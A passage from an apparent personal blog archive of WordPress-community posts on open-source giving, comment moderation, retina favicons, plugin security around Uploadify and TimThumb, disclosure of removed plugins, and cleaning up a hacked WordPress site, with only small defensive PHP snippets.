By the way, the whole reason I mastered Git? Mediawiki. I needed an easy way to upgrade and keep up with a trunk release that fixed a critical bug for me.
But if I don’t give back code, do I annoy myself? Nope! Much like WordPress has a [WordPress Foundation](http://wordpressfoundation.org/), Mediawiki has a [Wikimedia Foundation](http://wikimediafoundation.org/wiki/Home). And yes, I donate money.
And this is my point. We’ve already proven that sponsored software can work. At the time I wrote this, [Aaron Jorbin’s charge to raise money so he could work on Post Formats](https://halfelf.org/2013/changing-how-we-develop/) was a couple hundred from goal. I’m confident that by the time this is posted, it’ll be met. (I’m also confident the Indians will sweep the White Sox, so Aaron, you can do your ten support tickets for Post Formats if you want. If they lose, I’ll patch something for your plugin.)
The point is simple. Giving *back* is not just code. [I talked about this at WordCamp Portland](https://halfelf.org/2013/wcpdx-lightning-talk/ "WCPDX: Lightning Talk"), and I talk about it all the time. You don’t have to code, or file bug reports, all you have to do is be here and do *something* for the community at large. Heck, if you want to help clean up after a meetup? You gave back!
So please, don’t be greedy. Give back to open source. Don’t just take and take and then complain it’s not everything and more. Do something, anything, that helps someone else. Even if you’re doing it altruistically, you’re not living in a vacuum.
**Categories:** How It Is
**Tags:** essay, freedom, open source
---
### [Censorship in Moderation](https://halfelf.org/2013/censorship-in-moderation/)
**Published:** October 2, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Not everything to do with technology means code. Curating a website means, often, you have to edit your content and your comments in order to foster the sort of relationship with your visitors that you desire. In doing so, are we censoring?
**Content:**
Not everything to do with technology means code. Curating a website means, often, you have to edit your content and your comments in order to foster the sort of relationship with your visitors that you desire. In doing so, are we censoring? How do you decide how best to handle comments that make you uncomfortable, and how do you allow yourself to question your ever-changing personal morals (because they are), while keeping the right ecosystem on your blog?
### I am a censor
From time to time, I make people upset. This happens, and while I don’t go out of my way to piss people off, it’s just a part of life. No one agrees with me 100% of the time (heck, I don’t agree with myself from last year all the time). It’s just what it is. We grow, we evolve, we look at things differently. When people get upset with me they tend to act like assholes on my websites, insult me, call me names, or basically try to take over all the comments here. When they do, I block them out of my life.
Seriously. When people start that crap, I block them from commenting here, I block them on Twitter and Facebook and Google+, and blackhole their email. End of story, no chance to come back. If you’re the kind of person who’s willing to go that far and call me a “man faced dyke” then you’re not the sort of person I care to associate with, goodbye.
Most people don’t get that far, though. I’m all for hearing dissenting opinions, especially the thoughtful ones that point out fallicies in my logic. I would much rather people post replies to my blog posts as comments (not Twitter guys), because that removes the oft-crippling 140 character limit, and thus takes away much of the problems with discussing complex topics. I like long replies. I leave them often. This means that the vast majority of the time, even if you want to shout at me and say my understanding of XYZ is wrong, as long as you’re not being personally insulting, I’m going to leave the comment up. When you start belaboring the point (beating the dead horse, as it were), and refuse to agree to disagree, then I start moderating your comments and possibly deleting them.
### Is this censorship?
At some point on Twitter I said “Deleting your comment on my personal site may be censorship, but it’s not against any law.” And my friend replied:
> [@Ipstenu](https://twitter.com/Ipstenu?ref_src=twsrc%5Etfw) There's a big difference between gatekeeping on your own private property and censorship.
>
> — Jinx Mylo (@jenmylo) [July 9, 2013](https://twitter.com/jenmylo/status/354649961104814081?ref_src=twsrc%5Etfw)
The reason I used the word *may* is that, for an off-the-cuff Tweet, I had not done any research into what is and is not censorship. I know that we use the term ‘Self Censorship’ when we’re trying to stop ourselves from enjoying a foot-in-mouth moment, but are we using the word wrong? When I decide to remove a post that I feel is detrimental to my site, how is that different from Google censoring your results from a search, or Facebook deleting your comments?
My rule of thumb for comments is this: *If what you just posted is something that would prompt me to get out of your car, leave your house, or ask you to leave my house, it’s getting deleted.* It’s pretty cut and dried, and if my hand ever hovers over the “Well, maybe this is okay” button, I tend to leave it alone. But, like [Gunnar de Winter posited in 2011](http://www.science20.com/curious_cub/censorship_and_deleting_comments-81299), I don’t know if I’m censoring or not anymore.
A generally accepted definition of censorship is along the lines of this: “the surpression of a text, or part of a text, that is considered objectionable according to certain standards.” One can argue that my site has my standards, and thus my suppression of a comment I find objectionable is censoring you on this blog. I’m inclined to feel that it is censorship, but I don’t think this is a **bad** thing.
### When is it censorship?
There **is** a difference between gatekeeping and censoring. If I make a political agenda post about a hot-button topic, and then proceed to delete all replies that promote the opposition, am I gatekeeping or censoring? What about when I delete (or edit) comments left by people who are insulting? Is that inherently wrong? Where’s the line between “I don’t like it” and “I’m offended by it”?
One thing to keep in mind is that this *is not* violating freedom of speech. Or rather, it’s not violating your *protected* freedom of speech. Look. You have the right to say whatever you want. I have the right not to listen. In the US, the amendment is pretty clear in that the freedom of speech applies to talking about the government. So I can talk about how much I hate Obama if I want to, and the government has no law to stop me. At the same time, this does not give me *absolute* freedom of speech, it just means that I have certain protected rights. In 1996, the Supreme Court extended the full protection of the First Amendment to the Internet (it was a 9-0 vote, too).
So why doesn’t this cover your right to say what you want on my blog? My blog is a ‘private’ entity. So is a newspaper for that matter, which is why your letter-to-the-editor may never see the light of day. Neither the NYT nor I am obligated to publish your words. Besides, it’s not restraining your expression when I do it here, as you keep the right to go talk about me and how much I suck or I’m wrong to your heart’s content on your own blog. I tend not to comment on those posts anyway, so don’t worry about me.
### What’s wrong about censorship?
If I said “Censorship isn’t all bad” I’m sure a lot of people would shout me down. But … it’s not. We censor pornography, private information, details of bomb creation (see Mythbusters) and so on. None of those things are really objectionable uses of censorship. In a perfect world, people wouldn’t break the law in the first place, so we wouldn’t have to censor anything (because we’d all be trustworthy). Sadly, that’s just not the case. In general, when applied fairly and justly, censoring might not be terrible. When it’s abused, though, and someone goes to the point where they block you from posting on the Internet as a whole (just pretend that’s possible), then we’re into a problem. Which means it’s not necessarily that censorship is wrong, but abuse there of is wrong.
So back to Jen’s point, it’s not *really* censorship, is it?
I do oppose blanket censorship. But I also believe that protecting my blog’s community, as well as my own mental health, means sometimes I have to make the choice to close the door on some people. As someone who runs community sites, the health of the community trumps my personal feelings, but that doesn’t mean I ignore them. Finding that balance, in yourself and on your sites, is not easy. It’s an ever changing landscape to navigate, and no one can tell you what’s 100% right or wrong.
### Dare to Disagree
Just as I finished writing this, Andrea Middleton sent me a link to a TED video of [Margaret Heffernan: Dare to Disagree](http://www.ted.com/talks/margaret_heffernan_dare_to_disagree.html). It’s hugely important, when you decide to censor any comments on your site, that you not stifle constructive conflict. The importance of being challenged and letting yourself grow because of it cannot be expressed often enough.
\[ted id=1533\]
So Jen’s right. It’s not censorship, and I’ll keep on gatekeeping comments as I feel appropriate.
**Categories:** How It Is
**Tags:** administration, essay, website
---
### [Retina Favicons](https://halfelf.org/2013/retina-favicons/)
**Published:** September 6, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Time for a Favicon Reboot because of two words: Retina Display.
**Content:**
Way back in 2009 I said that [every site should have a favicon](https://halfelf.org/2009/every-site-should-have-a-favicon/). It was not the first time I’d expressed such an opinion, and I still remember back when IE 5 rolled out and I saw them on my bookmarks for the first time. Actually, I remember when a coworker asked me to help her make them show again, and I had no idea what she was talking about. As soon as I saw them, I knew this tiny feature would be useful.
Back in those days, of course, we didn’t have ‘tabbed’ browsers. So you knew what site you were on because that was your window. Now, with somewhere between 10 and 20 active tabs on a browser (depending on if you’re me or someone like Andrea or Nacin – I like the fewer) the favicon is a fantastic way to go “Aha! That’s where the tab for Google went…”
Speaking of Google, the other day I was browsing on my iPad and realized that not only does Google show you different favicons depending on which page you’re on, but they also show you them in retina format.
Hold the phone.
Retina. Ready. Favicons.
Well. Clearly I needed to upgrade mine! Of course there are problems with this. The old favicon standard was a 16×16 pixel square that you had to make memorable and identifiable. This is not simple. I picked a hat for ipstenu.org and on a retina display, this still looks okay, even though it’s pixelated. It gives off an 8-bit vibe to things, and that’s pretty me, in that retro-cool way, so I don’t mind. It’s not *fuzzy*, after all. The same cannot be said of my Spock-eye here, however. I didn’t want to lose the geekiness of the eyebrow, so I sat and pondered my options.
 Since my original favicon (see right) was 16×16 and an ICO, I had no choice but to deal with being fuzzy, upgrade *or* make a whole new favicon. I wanted to keep Spock, so I grabbed a screen-shot of Spock from what is everyone’s favorite Spock episode, “Amok Time.”

I spent a lot of time cropping and tweaking, and finally I remembered that one of the things I am terrible at is images. Sorry, Spock. I still love you. But I resigned myself to my lack of ability in this, and figured that since I had recently redesigned Half-Elf, I may as well get a new icon. Something that wasn’t just geeky, but also more modern. Normally when I do this, I end up over at [IconFactory](http://iconfactory.com/home), who were my go-to standards for desktop icons on my Mac. They used to have a pretty amazing [Freeware section](http://iconfactory.com/freeware/), but it hasn’t been updated since 2012, and that tells me they’re done with it.
The real problem with icons is, of course, simplicity. The more complex you make one, the harder is it for anyone to know what it is. And it’s just plain *hard* to do this when you want higher resolutions. Conundrums. After messing around for more time, I remembered I had some old Nintendo retro icons saved from the last time I was doing this, and boiled it down to three:
[](https://halfelf.org/2013/retina-favicons/retro-flower-fire/)
Fire Flower
[](https://halfelf.org/2013/retina-favicons/retro-mario/)
Mario
[](https://halfelf.org/2013/retina-favicons/retro-mushroom-super/)
Mushroom
I’m not a huge Mario fan, so I kicked him out, and tried the Mushroom. Cute. Iconic. Identifiable to some. And it had a reminder to me of a childhood book. It was also ‘bright’ and stood out on my toolbar. So I did that.
Now you can’t always get away with this. Sometimes you have to bite the bullet and make a new favicon, or convert the perfect PNG to a favicon. Remember, IE *doesn’t* accept PNGs for favicons. For that I actually use [X-Icon Editor](http://xiconeditor.com/), which lets me tweak each size on it’s own. That means you have make a super complicated 64×64, for retinas, and a simple 16×16 for everyone else. But remember: KISS.
Keep all this simple.
Oh. And the mushroom is an extra joke. See, if you hit it in Super Mario Bros., it took you from Small Mario to Normal Mario. Now it takes me from small favicon to large favicon. And yes, it was on purpose.
**Categories:** How To
**Tags:** design, favicon, website
---
### [Highway To Plugin Danger Zone](https://halfelf.org/2012/plugin-danger-zone/)
**Published:** July 2, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Third Party code in your plugins are great, but you have to know what you're getting in to, be willing and ready to support it, and know how to secure it. So. Do ya, punk?
**Content:**
This post is dedicated to Mark Jaquith, who [donated to help me get to WCSF](http://www.indiegogo.com/halfelf-wcsf2012). Thank you, Mark!
There’s nothing wrong with using someone else’s code. All of us do it. That’s how we make something new: by building off the old. And we all build code that relies on someone else, even when we write operating systems. Everything is interdependent, and that’s okay. The problem with relying on someone else’s code, is that you’re open to their vulnerabilities.
Recently there was a [kerfluffle about TimThumb](https://halfelf.org/2011/timthumb-heroism-and-fud/ "TimThumb, Heroism and FUD"), where the community came together and made a script, used by many themes and plugins, better and safer. This was an awesome moment, where we saw disparate strangers overcome FUD and live up to the dreams of Open Source.
In more recent days, there have been a lot of problems with the Uploadify script, to the point that [Sucuri wonders if it’s the new TimThumb](http://blog.sucuri.net/2012/06/uploadify-uploadify-and-uploadify-the-new-timthumb.html) when it comes to overuse and vulnerability. Unlike TimThumb, Uploadify isn’t actually insecure due to a bug, but the design of how it works is insecure. Yes, it’s insecure by design. Uploadify allows easy multi-file uploads to your site, but it does it without integration with any user verification, so basically anyone who knows where the file is can upload anything they want to your site.
Uploadify offers some [security suggestions](http://www.uploadify.com/documentation/uploadify/making-uploadify-secure/), which encourages you to use the right folder permissions, keep the file outside of your public\_html, and use SSL. The problem there is you’re still not checking to make sure that the code is only accessed by the right people. This *isn’t* a flaw in Uploadify. It’s a flexible product that can be used with anything, so they don’t want to lock it down to just WordPress, Drupal, Joomla, or whatever. This is, alas, the reason it’s so dangerous. Anyone can hook into it, if you don’t make it secure enough.
Now. A handful of WordPress plugins have been closed due to uploadify exploit potential (between 10 and 20). Not a lot, when you think about it. That’s because, perhaps surprisingly, not as many people are using it as you’d think. In part, this is from WordPress’s shift to plupload in WordPress 3.3, which allows you to [hook into it in themes and plugins](http://www.krishnakantsharma.com/2012/01/image-uploads-on-wordpress-admin-screens-using-jquery-and-new-plupload/). By the way, I recommend you use plupload, because if you’re going to rely on third party code, it should be the one that comes with WordPress core.
The point is not to not use third party code, however, but to use it *wisely* and to use it safely. It’s your responsibility as a developer to make sure your plugin is secure, and to know what it does. If you don’t understand how someone else’s code works, don’t use it in your plugin, because by using it, you are now responsible for updating it, securing it and keeping it safe. How can you do it if you don’t get it? Furthermore its your responsibility to educate your users as to what a plugin does and how you’ve secured it. This is open source code, the bad guys can already peek in and see what’s up. If they know, then you owe it to the users to arm them with education.
The weakest link in the security chain is the education of the end users. The servers, we hope, know what the heck they’re doing. Ditto the software writers. But the users, they’re often the new guy, the one who doesn’t know what’s what yet, and they trust you. They trust you do your best. Note, I am not saying they trust you to be perfect. Anyone who expects perfection is ridiculous. We all desire it, of course, but you cannot expect it unless you yourself can deliver it. Can you? I thought not.
Alright then so what can you do to protect uploadify and similar scripts? First, lock it so it’s only accessible from the WordPress dashboard panels. If you can only get to it via WP, then you’ve locked yourself so no non-logged in users can access the tool. Then if you slap this code into the top of your file, no one can access it directly:
```
if ( ! defined( 'ABSPATH' ) ){ die( 'Direct access not permitted.' ); }
```
Next we should look into how we check for the user. Can any member of your site upload? Probably not. So let’s use capabilities and roles to lock it all down and make sure only the right users have access. We can use two simple lines to verify the user is logged in, and has the right capabilities to upload. The ‘manage\_options’ cap is for Administrators, so loosen it up as you need:
```
if ( ! current_user_can('manage_options') )
die( 'Not allowed to upload.' );
```
You can hook an upload handler up as an AJAX handler via WP’s admin-ajax.php, per [AJAX in plugins](http://codex.wordpress.org/AJAX_in_Plugins). If you need a non-AJAX handler, you can handle form submissions on your plugin admin pages. Going through WP gets you authentication and capabilities checking, and easy usage of nonces (see [wp\_create\_nonce()](http://codex.wordpress.org/Function_Reference/wp_create_nonce) and related links at the bottom of that page for more info).
There are of course more ways to secure things. There are nonces and AJAX, as well as using WordPress’s image tools to help double check if a file really is an image. After all, not everyone can use .htaccess, and some servers are silly enough to let you run a php file with a jpg extension.
But all that really only works if you want to restrict your uploads to members of your site. What if you want to let anyone upload an image? Honestly, you should re-think that. You are not imagur or imageshack. They have layers of server protections which you don’t, and they have levels of checks and balances in software written specifically for image uploads and protections. You don’t. They are a tool specifically for the job of images. WordPress is not. Do you see where I’m going? Do you really **need** to allow images be uploaded to your site? I bet you don’t.
Shortly after TimThumb was exploited, it was yanked from the theme repository. Since WordPress 3.3 [no theme can contain TimThumb](http://make.wordpress.org/themes/guidelines/changes-wp-3-3/). From what I can gather, part of the reason is that code like that should be a plugin, not a theme. But personally, I think that both TimThumb and Uploadify should have official plugins (supported by the original/current developers), and anyone who wants to use that code can hook into those plugins. Then, if there’s an exploit, it’s one plugin to fix and not a couple hundred.
Of course there are as many flaws with that as with any other approach. If the original devs don’t want to support a plugin for WordPress or any other platform, the users would be SOL.
**Categories:** How It Is
**Tags:** plugins, security, wordpress
---
### [Risk vs Transparency](https://halfelf.org/2012/risk-vs-transparency/)
**Published:** February 22, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The risk of keeping a public list of all 'naughty WordPress plugins' does not outweigh the benefits of having such a list.
**Content:**
 *This was written without any special insider knowledge. I’ve simply watched, paid attention, and kept track for the last two years. Often when I report a plugin, Mark and Otto are nice enough to explain things to me, and I’ve listened.*
Occasionally a plugin vanishes from the WordPress repository. As a forum mod I tend to see people freak about this more often than not, and the question that inevitably comes up is ‘Why doesn’t WordPress publicize these things?’
Let’s go down the list for why a plugin is removed first. This list is very short, and boils down to three:
1. It breaks [the rules](http://wordpress.org/extend/plugins/about/guidelines/)
2. It has a security exploit
3. The author asks for it to be removed
That’s pretty much it. The rules cover a lot, though Otto and I have been known to sum it up with ‘Don’t be a spamming dick.’ I actually had the chance to talk to folks about this before the ‘expanded guidelines’ went live, and I think I have a pretty good understanding of what the rules are. The majority of plugins, that I see removed, are done so for the most obvious reasons:
- Phoning home (i.e. sending the author data about you without your permission)
- Forward facing links (i.e. opt OUT links on the front of your site when you use the plugin)
- Affiliate links (i.e. the author gets revenue from the plugin without disclosure)
- Obfuscated code
None of those are security reasons, and most of them are ‘fixed’ by us reporting the plugin, the plugin repo mods contacting the author, the author making the fix, and all is well. When the author doesn’t reply, or in the case of a ‘phone home’, often the plugin is yanked from the repo pending review. So where are these ‘security reasons’ to yank a plugin, and why should WordPress disclose them. Phoning home is, sometimes, a security reason, depending on what’s actually being transmitted.Usually it’s a vulnerability or an outright backdoor that would be a reason to pull a plugin.
There’s an argument that ‘Trust requires transparency’ when it comes to security ([see Verisign’s recent rigmarole](http://newschoolsecurity.com/2012/02/dear-verisign-trust-requires-transparency/)) and that would mean WordPress needs to publish things like ‘This month, these plugins were removed for this reason.’ Except WordPress doesn’t, and in fact, if you look, rarely do companies do this until they have a fix. The ‘problem’ with WordPress is *they* don’t do the fix, the plugin devs do, and a surprisingly high amount of times, the plugin author fucks off like a monkey.
On the other side of this argument is FUD(Fear, Uncertainty and Doubt) which is something you never want to feed. [Look at the plugin “ToolsPack,” ](http://blog.sucuri.net/2012/02/new-wordpress-toolspack-plugin.html)helpfully shown up on [Sucuri](http://affl.sucuri.net/?affl=80318fc21285587a2b6888eaabdb28fb). Now that was never hosted on WordPress.org, but if it had been, it would have been removed for exploitation. But once the offending plugin is removed, should WP go ahead
In October of 2010, WordPress.org ‘introduced’ a kill switch for plugins. Not really, but kind of. [BlogPress SEO was spam](http://yoast.com/blogpress-seo-plugin-spam/). Yoast, one of the few true ‘SEO experts’ I know of, caught it and decided to fix it the best way he knew how. See, this plugin was never on the WordPress repository and so WP could do little about it. Yoast [registered a plugin with the same name](http://yoast.com/blogpress-seo-fix/), gave it a newer version of the plugin, and everyone saw that as an ‘update’ and thus were saved. Sort of. Now, even Yoast admits this is [abuse of the system](http://yoast.com/wordpress-plugin-update/), and I’ll leave the coulda/woulda/shoulda to someone else.
The reason I bring it up is this shows there *is* a way to handle bad plugins. But it’s not very efficient, it’s not very friendly, and it doesn’t promise that it will work. First off, not enough people run updates, and secondly it’s putting a lot of work on a very small group of people. While the theme reviewers have a lot of folks helping out, the plugins do not. Should they? Yes, but the number of people who understand *all* the code that could be in a plugin is far smaller than for a theme. I suppose it’s saying ‘plugins are harder than themes.’ I may be wrong, but it’s how I feel.
To fix all this, you’d need to basically reboot the plugins directory, turn them all off, review each of the 18,000+ plugins, and turn them back on. Then you need an Otto or Nacin going through each one to make sure every check in is okay, every update and every change isn’t spamming. Oh yes, that’s what happens to theme devs, didn’t you know? All releases are approved before they go live. Can you see the plugin developers agreeing to that? That’s a nonsense complaint of mine, actually. If tomorrow the rules changed, maybe half the plugins in the repo would vanish and never come back, but most of the rest would be fine. Of course, we would need a dedicated team of people to do nothing but review and approve plugins to keep up with the traffic.
So accepting what we have today, the wild west, why isn’t there a running list of all plugins yanked from the repo, and why? The list itself isn’t a bad idea. Having a list to say ‘This plugin was disabled on this date’ would be nice for a lot of us, and more so, having the plugin page show ‘This was disabled.’ would be nice. I can even think of a couple code ways to do it, but all of them need a full time person to go through the ‘removals’ and put up a splash page with ‘If you used this plugin, please consider alternatives: .’ and ‘If you wrote this plugin, please contact plugin support.’ Also, this would increase emails to the plugins support account, not from the authors, but from people who want to know why a plugin was removed. And what about a day when a plugin is removed because of a bad thing, but the authors fix it? Did we create a false feeling of doubt in a plugin that had a typo?
On paper, it all sounds like we should be keeping a public list for this still, though. Put it all up there for the public, disclose everything.
Every time I write that sentence, I wince.
It sounds nice on paper, and all I can think is about the people who will cry foul, complain, and want to know more. “Why was this plugin removed and not that one?” Well, most of the time it’s because no one mentioned that plugin. Right now, the plugins that get yanked are ones people stumble across or report.
But why worry about a simple list of removed plugins? Because the first thing I would do, if I was a nefarious hacker, would be to script a pull from that list and scan the web looking for sites that use the plugins, thus implementing a vector for attack. See, we already know people don’t update plugins as often as they should (which is why Yoast’s ‘fix’ isn’t as good an idea as we’d hope), but now not only are we leaving people at risk, we’re opening them to even more risk. If we email them to tell them the plugin’s risky, we have the same problem.
There’s no safe way to inform people without putting anyone who’s not up to date at risk. Given that the most dangerous day to have an unpatched system is the day of disclosure, the only way WordPress, or anyone, could keep a list like that would be if, like Chrome, WP auto-pushed updates right away, forcing anyone who opened the site to upgrade. And that’s fraught with it’s own issues.
Until then, I can’t advocate anyone keeping a list of removed plugins. It’s too risky.
**Categories:** How It Is
**Tags:** plugins, risk, security, wordpress
---
### [TimThumb, Heroism and FUD](https://halfelf.org/2011/timthumb-heroism-and-fud/)
**Published:** August 19, 2011
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** When a group of people see what's wrong and get together to fix it, that is success in anyone's book.
**Content:**
FUD is “Fear, Uncertainty and Doubt” and it’s a tactic used by people to scare you and make you jump into a decision that benefits them. This decision may not be a bad decision, but it’s not strictly to your own benefit, but theirs. Keep that it mind, it matters.
Recently it was discovered that there was a [*massive* vulnerability in TimThumb](http://blog.sucuri.net/2011/08/timthumb-php-security-vulnerability-just-the-tip-of-the-iceberg.html) ([TimThumb](http://code.google.com/p/timthumb/) is an image editing tool for your webapps). It had an honest-to-god [Zero Day Vulnerability](https://halfelf.org/2011/zero-day/ "Understanding Zero-Day"). I don’t use the code, and I don’t put it on any site I run, so I knew I was pretty safe. Still, I ran searches for `timthumb.php` on my entire server, made sure it was clean, and moved on.(Not relevant, I recently changed all my passwords on all my sites, and my servers, because I realized I’d used the same ones for about 6 years.)
The exploit primarily affected WordPress installs, because it was developed for WordPress in the beginning, but since then has grown to be used by many other apps, like Drupal and Joomla and even home-grown ones. It’s insanely cool, but it’s always had weird little problems (which is probably why it’ll never be included in the core code of those apps). Getting it to work at all on MultiSite was a pain, and when someone wrote a how-two, we gave her Tim Thumbs up!(Bad joke. BAD bad bad joke. Sorry.)
Certain people leaped into action. [VaultPress](http://vaultpress.com/), which runs a backup service for WordPress users, [sent out emails](http://blog.vaultpress.com/2011/08/02/vulnerability-found-in-timthumb/) to everyone who had TimThumb. Then they went the extra mile and [fixed 712 possible exploits for you](http://blog.vaultpress.com/2011/08/04/712-fewer-vulnerable-timthumb-scripts/). (I know some people got shirty about it, since they didn’t want VaultPress editing their data. That isn’t the point here.) They jumped up and said ‘We must fix things for people’ and did it. This was, indeed, [Matt’s vision for VaultPress](http://ma.tt/2011/08/the-timthumb-saga/).
But then this other thing happened, and I’ll quote Matt:
> It could have gone a lot of ways, but the incident brought out the best in the community. The core team sprang into action searching [through the theme directory](http://wordpress.org/extend/themes/) to inoculate any themes that contained the dangerous code. Community blogs [quickly got the word out about the problem](http://blog.vaultpress.com/2011/08/02/vulnerability-found-in-timthumb/) so people were aware of it. Mark Maunder, [who originally discovered and broke down the problem](http://markmaunder.com/2011/zero-day-vulnerability-in-many-wordpress-themes/), created a [fork of the code](http://markmaunder.com/2011/a-secure-rewrite-of-timthumb-php-as-wordthumb/) called WordThumb that rewrote TimThumb from the ground up. Forking is not usually ideal because it fragments the market for users but Mark soon connected with [Ben Gillbanks](http://www.binarymoon.co.uk/), long-time WordPress community member, and [they’ve teamed forces to release TimThumb 2.0](http://markmaunder.com/2011/wordthumb-is-now-timthumb-2-0/), a collaboration that exemplifies Open Source at its finest. An updated plugin should be in the directory shortly.
Let me explain. There was a problem with a popular tool that is used both in themes and on its own plugin (and probably others). Mark found the problem, fixed it, and then re-wrote the tool. Then, after Matt commented on his site that Forking is a last-resort, *even though* this was a ground-top rewrite, Mark agreed and talked to the TimThumb guy and together they fixed everything. [And now they’re a team](http://markmaunder.com/2011/08/05/wordthumb-is-now-timthumb-2-0/). No one made any money off that process. People just did the right thing to make the web safer for *all* of us! (Okay, that’s not the point either, but it needed to be made.)

All of this was done in a way that the public knew about the problem without getting into an “OMGWTFBBQ!!!11!?” panic. Was there some fear? Yes, because you knew there was a problem and there was a possibility it could affect you. Was there uncertainty? Of course! Again, *could* it affect you? Was there doubt? And this here is where we have a win for the Open Source community. There wasn’t. It was a straight up ‘This is what’s wrong, this is how to fix it.’
In so many ways, that’s how every business should work. It could have been better, certainly, but when I compare this to how I get security alerts for our servers at work, I see nothing but room for improvement. Right now, one person has the job to look for vulnerabilities that are published about anything we use. If she sees one, she opens a ticket and says ‘Fix this ASAP!’ The problem is, to use a recent example, ownership of the fix. We had a vulnerability with .NET, but as I read the whole doc, I sorted out that it only happened if your *server* was configured in a certain way so as to make a security hole. Another quick check and I saw the server team had their own ticket ‘Fix this hole.’ So I closed my ticket and said ‘Will be resolved with Server Ticket 1234567.’ My ticket was reopened and I was told I did it wrong. This was a problem with **my** application (I don’t ‘own’ .NET, I happen to be on the team who brought it into the company, however). I pointed out it wasn’t that .NET was vulnerable, that it was the server. They didn’t care. My ticket has to be open until the problem is resolved, no matter what. In the end, I turned off the feature that might, possibly, be vulnerable and got chaff for not doing it right.
When you compare that to the beautiful simplicity of Open Source communities, it makes you wonder how anything actually gets done? We’re so afraid (fear) of being wrong or doing the right thing without the right approvals, we let the process hamstring us from fixing the problem. We don’t know (uncertainty) what the right thing is anymore, so we do nothing. And in the end, we’re not sure (doubt) if we’re of any use at all. (I think my premature grey came from this job, and if I leave, the first thing I’m doing is dying my hair neon blue.) Plus, to make matters worse, they told the entire company about the security hole, so everyone knows, and they can see we didn’t close the tickets. It’s a mess.
But really that’s not what FUD is about. Nor is it what this post is about. Neither way is perfect, and both are flawed in different ways.
You see, what Open Source nailed in one was that we should be *aware* of the dangers, and work together to make it better, not feed the fires and run around terrified about what’s going on. A little fear is a good thing. It clears the arteries and is good for your heart. If you’ve never had a moment where the blood drained out of your face because you made a mistake, you’re not trying hard enough. We all live with uncertainty and doubt, too, and inherently these are not bad things. What is wrong is allowing them to have complete control over your actions to the point of inaction or consistently making the wrong choice that you *know* is wrong.
Make the right choices. If a bread stick is on fire in the toaster, take it out and make that extra step to sort out who put it in there. Treat everyone as a team member, a fellow hero. You see, if we give in to FUD, we cripple ourselves, much like corporate america does every day with miles of red tape. But if we don’t, if we accept our fear and move forward, we can get past it and make better products for everyone. And that’s a great goal.
If you think you, or a friend, may have been hacked, please go to [Sucuri](http://affl.sucuri.net/?affl=80318fc21285587a2b6888eaabdb28fb) and run the free scan for your website.
**Categories:** How It Is
**Tags:** administration, essay, security, wordpress
---
### [The Latest Malware Malfeasance](https://halfelf.org/2010/the-latest-malware-malfeasance/)
**Published:** May 14, 2010
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** So you've been hacked. Welcome to the club. Here's what you do.
**Content:**
 I preface this with I really don’t have time to de-malware everyone’s site who emailed me, so please don’t ask for help right now, I’m not a freelancer for a reason and I’m booked till … Uh, August at this rate. So, no. I’m not going to be able to help you. I am going to post HOW to fix it, but if you need serious help after that, at the bottom are links of people to help you.
If you find this helpful, great! There’s a donate link to the right on my site, but personally I feel it’s more important people get the right information!
So you logged into your site and the admin side looked something like this: 
The odds are that you’ve been hacked by the latest malware. Malware is short for “malicious software” and basically it’s someone screwing with you. Why? Because they can. I’m not going to get into why, it doesn’t matter. What matters are two things:
1. How can I fix it?
2. How can I stop it from happening again?
Before we go any further, though, go run the [Sucuri Scan](http://affl.sucuri.net/?affl=80318fc21285587a2b6888eaabdb28fb). That will tell you if you’ve really been hacked, or if it’s something else. For the rest of this post, I’m assuming you’ve been hacked.
**How can I fix it?**
Make a fresh backup of everything on your site. Download it all. Yes, it’s probably got the virus in it, but that’s okay. It won’t hurt your desktop. Also backup your database to your desktop computer. The hack doesn’t seem to have affected your database, but you should always make a good backup before you try this stuff. Make note of your theme name (and where you got it from), as well as all your plugins. You’ll need this in a moment.
Put a *copy* of the following files/folders in a safe place, separate from the rest of your backup:
`/public_html/.htaccess/public_html/wp-config.php/public_html/wp-content/uploads (and ALL files and folders under this)`
Now, delete everything from public\_html on your server. Yeah, **everything**. This is why I said make a backup, folks!
Once the server is naked, change your passwords for FTP/SSH. If you’re using a non-Secure method of accessing your server, stop and get something like WinSCP or CyberDuck or anything that allows SECURE FTP access. SFTP should be the *ONLY* way you FTP to your site.
Download, from [WordPress.org](http://wordpress.org/download/) a new copy of the latest and greatest core WordPress files (at this posting, it’s 2.9.2, but 3.0 is in beta, so that may change shortly). Install from that, NOT from your site’s automated installer. You should be able to copy all the files up and then add those files I told you to put aside. Remember them? The .htaccess, the wp-config.php and the uploads folders all go back up.
Under no circumstance should you upload anything else from your backup at this time! Also don’t bother visiting your site, it’ll look weird.
Once your files are back, go to and download all your plugins. One at a time.
Repeat with your themes, going to or wherever you got your theme from in the first place.
If you made your own theme, it’s a little harder, since you’ll need to go over every single PHP file in your theme and look for ‘weird’ code. [Sucuri has a cleanup script](http://blog.sucuri.net/2010/05/simple-cleanup-solution-for-latest.html), but pretty much open them all up, look for encoded information that will look something like [this post from Sucuri](http://sucuri.net/malware/entry/MW:MROBH:1). If you see that in a file, kill it with fire.
Finally, go into your `/public_html/cgi-bin` folder. If there’s a file called php.ini in there, delete it. There may not be, so don’t worry about it too much if not.
**How can I stop it from happening again?**
I’ve got some advice, but right now, if you’ve been told ‘Just upgrade WordPress’, well, that’s not enough. Yes, I know that GoDaddy was claiming for a LONG time that’s what you needed to do. I’m here to tell you this: *GoDaddy is incorrect when they tell you ‘Just Upgrade.’*
That doesn’t mean you shouldn’t upgrade, in fact, you may note I said to get the latest and greatest WordPress version (again, 2.9.2 as I write this). That’s because it’s going to have every security fix they’ve come up with to date. It’s almost always best to use the latest version of software. For most of you, it’s always better.
You may want to look into something like [WordPress File Monitor](http://wordpress.org/extend/plugins/wordpress-file-monitor/), which emails you if files are changed. Just turn it off when you plan on making a lot of changes!
By deleting your files, getting a secure FTP client and changing passwords, you’ve closed the biggest security hole: You. I hate to say it, but every time I’ve ever been hacked it’s been right after I opted not to follow security protocol that I know damn well. And here’s my protocol: *Always use secure connections to your website when editing data or accessing sensitive areas.*
